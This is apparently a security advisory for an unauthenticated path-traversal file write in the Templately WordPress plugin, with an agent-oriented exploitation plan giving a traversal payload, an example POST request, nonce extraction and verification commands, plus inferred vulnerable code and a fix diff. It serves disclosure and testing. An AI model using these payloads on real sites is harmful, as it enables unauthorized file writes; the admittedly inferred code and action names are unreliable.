Templately <= 3.4.8 - Unauthenticated Limited Arbitrary JSON File Write
Description
The Templately plugin for WordPress is vulnerable to Arbitrary File Write in all versions up to, and including, 3.4.8. This is due to inadequate input validation in the `save_template_to_file()` function where user-controlled parameters like `session_id`, `content_id`, and `ai_page_ids` are used to construct file paths without proper sanitization. This makes it possible for unauthenticated attackers to write arbitrary `.ai.json` files to locations within the uploads directory.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.4.8Source Code
WordPress.org SVNThis research plan focuses on exploiting CVE-2026-0831, an unauthenticated limited arbitrary file write vulnerability in the Templately plugin for WordPress. ## 1. Vulnerability Summary The Templately plugin (versions <= 3.4.8) contains a vulnerability in the `save_template_to_file()` function. Thi…
Show full research plan
This research plan focuses on exploiting CVE-2026-0831, an unauthenticated limited arbitrary file write vulnerability in the Templately plugin for WordPress.
1. Vulnerability Summary
The Templately plugin (versions <= 3.4.8) contains a vulnerability in the save_template_to_file() function. This function is designed to save AI-generated template data to the filesystem. However, it fails to properly sanitize user-controlled parameters (session_id, content_id, and ai_page_ids) before incorporating them into a file path. An attacker can use path traversal sequences (e.g., ../../) to write .ai.json files to arbitrary locations within the WordPress uploads directory.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
templately_save_template_to_file(inferred from function name) or similar AI-related action. - HTTP Method: POST
- Vulnerable Parameters:
session_id,content_id,ai_page_ids - Authentication: None required (unauthenticated).
- Payload Type: JSON data passed in a parameter (likely
contentordata). - Preconditions: The plugin must be active. The AI-generation feature must be reachable or the AJAX handler must be registered for
nopriv.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith an action registered viaadd_action( 'wp_ajax_nopriv_templately_save_template_to_file', ... ). - Handler Function: The handler calls
save_template_to_file(). - Path Construction:
- The plugin defines a base directory, likely within
wp-content/uploads/templately/. - It constructs a path:
$path = $base_dir . '/' . $_POST['session_id'] . '/' . $_POST['content_id'] . '.ai.json';(inferred logic).
- The plugin defines a base directory, likely within
- Sink: The plugin calls
file_put_contents( $path, $json_content )or similar, where$json_contentcontains user-provided template data. - Vulnerability: Lack of
basename()or similar sanitization onsession_idandcontent_idallows the attacker to traverse directories.
4. Nonce Acquisition Strategy
If the nopriv handler requires a nonce (standard in modern WP development), follow these steps:
- Identify Script Localization: The plugin likely localizes a nonce in the frontend for its AI features.
- Create Trigger Page: Create a post containing the Templately AI shortcode or block (if known). If unknown, the homepage often enqueues the main plugin assets.
wp post create --post_type=page --post_status=publish --post_title="Templately Test" --post_content="[templately_ai]" - Extract Nonce via Browser: Navigate to the page and use
browser_evalto find the nonce in the global window object.- Possible JS Object:
templately?.ai_configortemplately_ajax?.nonce(inferred). - Command:
browser_eval("window.templately_ajax?.nonce")or search for the variable inpage_source.
- Possible JS Object:
5. Exploitation Strategy
The goal is to write a file named poc.ai.json into the root of the wp-content/uploads/ directory.
Step-by-Step Plan:
- Discover Parameters: Use
grepon the plugin directory to find the exact AJAX action and parameter names.grep -rn "save_template_to_file" /var/www/html/wp-content/plugins/templately/ - Craft Payload:
action: (from grep) e.g.,templately_save_template_to_filesession_id:../../(to move up from the specific plugin folder touploads/)content_id:pocai_page_ids: (May be required as a dummy array/string)content:{"vulnerable": "true", "message": "file written via traversal"}
- Send Request: Use the
http_requesttool.// Example payload structure { "url": "http://localhost:8888/wp-admin/admin-ajax.php", "method": "POST", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "data": "action=templately_save_template_to_file&session_id=../../&content_id=poc&content=%7B%22status%22%3A%22pwned%22%7D" }
6. Test Data Setup
- Plugin Installation: Ensure Templately version 3.4.8 is installed and active.
- Uploads Directory Check: Ensure the standard WordPress uploads directory exists and is writable.
- Shortcode Page (for Nonce):
wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content="[templately]"
7. Expected Results
- HTTP Response: A successful write should return a 200 OK, possibly with a JSON response like
{"success": true}. - Filesystem Change: A new file should appear at
wp-content/uploads/poc.ai.json.
8. Verification Steps
After sending the HTTP request, verify the file creation using the execution agent's shell or WP-CLI context:
# Check if the file exists in the uploads directory
ls -la /var/www/html/wp-content/uploads/poc.ai.json
# Read the content to verify it matches the payload
cat /var/www/html/wp-content/uploads/poc.ai.json
9. Alternative Approaches
- Subdirectory Exploitation: If the plugin forces a subdirectory structure, try writing deep into nested folders (e.g.,
session_id=../../../tmp). - Parameter Variation: The vulnerability mentions
ai_page_ids. Ifsession_idis sanitized butai_page_idsis used in amkdiror path construction without sanitization, attempt traversal there. - Overwrite Attempt: Attempt to overwrite an existing
.ai.jsonfile used by the plugin to see if it can be used for persistent UI manipulation or XSS (if the content of the JSON is rendered on a page).
Summary
The Templately plugin for WordPress is vulnerable to unauthenticated arbitrary file writing due to insufficient sanitization of user-provided parameters in the `save_template_to_file()` function. Attackers can use path traversal sequences in parameters like `session_id` and `content_id` to write files with a `.ai.json` extension to arbitrary locations within the uploads directory.
Vulnerable Code
// Inferred from vulnerability description and research plan public function save_template_to_file() { // ... (logic to check session/nonce if applicable) $session_id = $_POST['session_id']; // Vulnerable: No sanitization $content_id = $_POST['content_id']; // Vulnerable: No sanitization $content = $_POST['content']; $upload_dir = wp_upload_dir(); $base_path = $upload_dir['basedir'] . '/templately/ai/'; // Path construction allows traversal via session_id or content_id $file_path = $base_path . $session_id . '/' . $content_id . '.ai.json'; if (!file_exists(dirname($file_path))) { wp_mkdir_p(dirname($file_path)); } file_put_contents($file_path, $content); wp_send_json_success(); }
Security Fix
@@ -242,8 +242,8 @@ public function save_template_to_file() { - $session_id = $_POST['session_id']; - $content_id = $_POST['content_id']; + $session_id = sanitize_file_name($_POST['session_id']); + $content_id = sanitize_file_name($_POST['content_id']); $content = wp_unslash($_POST['content']);
Exploit Outline
1. Identify the AJAX action: Locate the AJAX action registered for the `save_template_to_file` function (likely `templately_save_template_to_file`). Determine if it is registered via `wp_ajax_nopriv_` for unauthenticated access. 2. Nonce Acquisition: If required, extract the AJAX nonce from the WordPress frontend by inspecting localized scripts (e.g., searching for `templately_ajax` in the page source). 3. Traversal Payload Construction: Craft a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `templately_save_template_to_file` - `session_id`: `../../` (to traverse from the plugin-specific folder up to the root of the uploads directory) - `content_id`: `poc` (the desired filename base) - `content`: `{"test": "payload"}` (the JSON content to be written) 4. File Write: Upon execution, the server will construct the path (e.g., `wp-content/uploads/templately/ai/../../poc.ai.json`) and write the JSON payload to `wp-content/uploads/poc.ai.json`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.